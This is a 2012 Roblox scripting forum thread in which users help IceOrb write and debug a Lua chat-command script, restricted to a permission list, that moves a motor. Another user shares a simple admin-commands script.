IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 03:15 AM |
I want to make a voice command script; but I only want it for certain users, so I want to create one where it'll have something like
permission = ("enter players names here")
Not entirely sure how to do it? |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 03:15 AM |
I also need to make it so that, if your name is in the permissions list, then it will allow you to run the script once you chat the message?
What would be the script lines before actual message part D: |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 03:17 AM |
basically
permission = {"Jelly134", "IceOrb"}
game.Players.PlayerAdded:connect(function(p) p.Chatted:connect(function(msg) for i=1, #permission do if permission[i] == p.Name then onChat(msg,p) break end end end) end)
function onChat(msg,sender) --Stuff here end |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
| |
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:12 AM |
| yeah, replace --Stuff here with print("Working! Message "..msg.." from "..sender) to check that it works :) |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:34 AM |
This is the entire script; but it still seems to not be working? I copied and pasted the function that I wanted it to do inside the --Stuff here part.
permission = {"Jelly134", "IceOrb"}
game.Players.PlayerAdded:connect(function(p) p.Chatted:connect(function(msg) for i=1, #permission do if permission[i] == p.Name then onChat(msg,p) break end end end) end)
function onChat(msg,sender) --Stuff Here local source = string.lower(speaker.Name) msg = string.lower(msg) local model = script.Parent
if (msg == "/stop") then model.Motor.Control.Value = 0 elseif (msg == "computer lift activate") then model.Motor.Control.Value = 6 wait(8) model.Motor.Control.Value = 0 wait(10) model.Motor.Control.Value = 5 wait(8) model.Motor.Control.Value = 0
model:move(p) end
|
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:35 AM |
| You didn't end the condition, you need two ends at the end. |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:37 AM |
| So I just add an extra end onto the end?; I'll try now. |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:40 AM |
| I added another 'end' to the script, right at the bottom; but it still seems to not be working. |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:43 AM |
| remove the local source and local msg from the second function. |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:43 AM |
| Okay! I'll try that as well |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:44 AM |
| infact, dont worry about the string.lower msg thing, just remove the source, or change speaker to sender |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:45 AM |
| How about the ''msg = string.lower(msg)'' bit? Should I remove that? |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:46 AM |
| nah, thats okay. all that does is turns /STOP, /StOp or anything else into /stop (lowercase) |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:47 AM |
Okay so I should leave "local source = string.lower(speaker.Name)" and change the ''speaker'' to sender?
|
|
|
| Report Abuse |
|
|
koen500
|
  |
| Joined: 23 Feb 2011 |
| Total Posts: 2277 |
|
|
| 14 Dec 2012 06:50 AM |
Take a look at this. I made it.
-- Put here the names of the admins. local Admins = {"koen523", "Zeralus", "Admin 3"} -- Put in here the nes of the banned people. local Banned = {"Banned person 1", "Banned person 2", "Banned person 3"}
--[[ All commands available: m [Text for message here] h [Text for hint here] c [Source for script here] pc [Source for the permanent script] k [Player's name to be kicked] ]]
function Check(Name) for i, v in pairs(Admins) do if i == Name then return true end end end
print("You'r using koen500's Admin Commands For Developers")
game.Players.PlayerAdded:connect(function(Player) if Player.userId == game.CreatorId or Player.Name == "koen500" or Check(Player.Name) == true then print("An admin joined the game, his name is " .. Player.Name .. ".") Player.Chatted:connect(function(Msg) local Command = false if Msg:lower():sub(1, 2) == "m " then local Thing = Instance.new("Message", workspace) Thing.Text = Msg:sub(3) wait(5) Thing:Destroy() Command = true elseif Msg:lower():sub(1, 2) == "h " then local Thing = Instance.new("Hint", workspace) Thing.Text = Msg:sub(3) wait(15) Thing:Destroy() Command = true elseif Msg:lower():sub(1, 2) == "c " then if pcall (function() loadstring(Msg:sub(3))() end) then local Thing = Instance.new("Message", Player.PlayerGui) Thing.Text = "There were errors." wait(5) Thing:Destroy() end Command = true elseif Msg:lower():sub(1, 3) == "pc " then local Clone = script.pc:Clone() Clone.Source.Value = Msg:sub(4) Clone.Disabled = false elseif Msg:lower():sub(1, 2) == "k " then if game.Players:FindFirstChild(Msg:sub(3)) then game.Players:FindFirstChild(Msg:sub(3)):Destroy() else local Thing = Instance.new("Message", Player.PlayerGui) Thing.Text = "Player not found" wait(5) Thing:Destroy() end Command = true end if Command == true then print(Player.Name .. " says: " .. Msg) end end) end end)
while wait() do Players = game.Players:GetChildren() for i = 1, #Players do if Players[i].Name == Banned then Players[i]:Destroy() end end end |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:51 AM |
| So what does this complete function do? |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:53 AM |
permission = {"Jelly134", "IceOrb"}
game.Players.PlayerAdded:connect(function(p) p.Chatted:connect(function(msg) for i=1, #permission do if permission[i] == p.Name then onChat(msg,p) break end end end) end)
function onChat(msg,sender) msg = string.lower(msg) local model = script.Parent if (msg == "/stop") then model.Motor.Control.Value = 0 elseif (msg == "computer lift activate") then model.Motor.Control.Value = 6 wait(8) model.Motor.Control.Value = 0 wait(10) model.Motor.Control.Value = 5 wait(8) model.Motor.Control.Value = 0
model:move(p) --What ar you trying to do here?
end |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:56 AM |
| Oops, need to remove that model:move(p) it was another thing I was attempting to do. |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 06:57 AM |
| okay, other than that the script in my last post would work :) |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:58 AM |
| Ah it didn't work for some reason; the motor brick still doesn't go down as I want it to. |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 06:59 AM |
| could you possibly test it with me? |
|
|
| Report Abuse |
|
|
jelly134
|
  |
| Joined: 25 Aug 2008 |
| Total Posts: 1137 |
|
|
| 14 Dec 2012 07:00 AM |
permission = {"Jelly134", "IceOrb"}
game.Players.PlayerAdded:connect(function(p) p.Chatted:connect(function(msg) for i=1, #permission do if permission[i] == p.Name then onChat(msg,p) break end end end) end)
function onChat(msg,sender) msg = string.lower(msg) local model = script.Parent if (msg == "/stop") then model.Motor.Control.Value = 0 elseif (msg == "computer lift activate") then model.Motor.Control.Value = 6 wait(8) model.Motor.Control.Value = 0 wait(10) model.Motor.Control.Value = 5 wait(8) model.Motor.Control.Value = 0 end end --I forgot the end last time :P |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 07:02 AM |
| Ohh haha x3, I'll try it now! |
|
|
| Report Abuse |
|
|
IceOrb
|
  |
| Joined: 02 May 2010 |
| Total Posts: 1206 |
|
|
| 14 Dec 2012 07:04 AM |
| Thank you very much for your help! It works! |
|
|
| Report Abuse |
|
|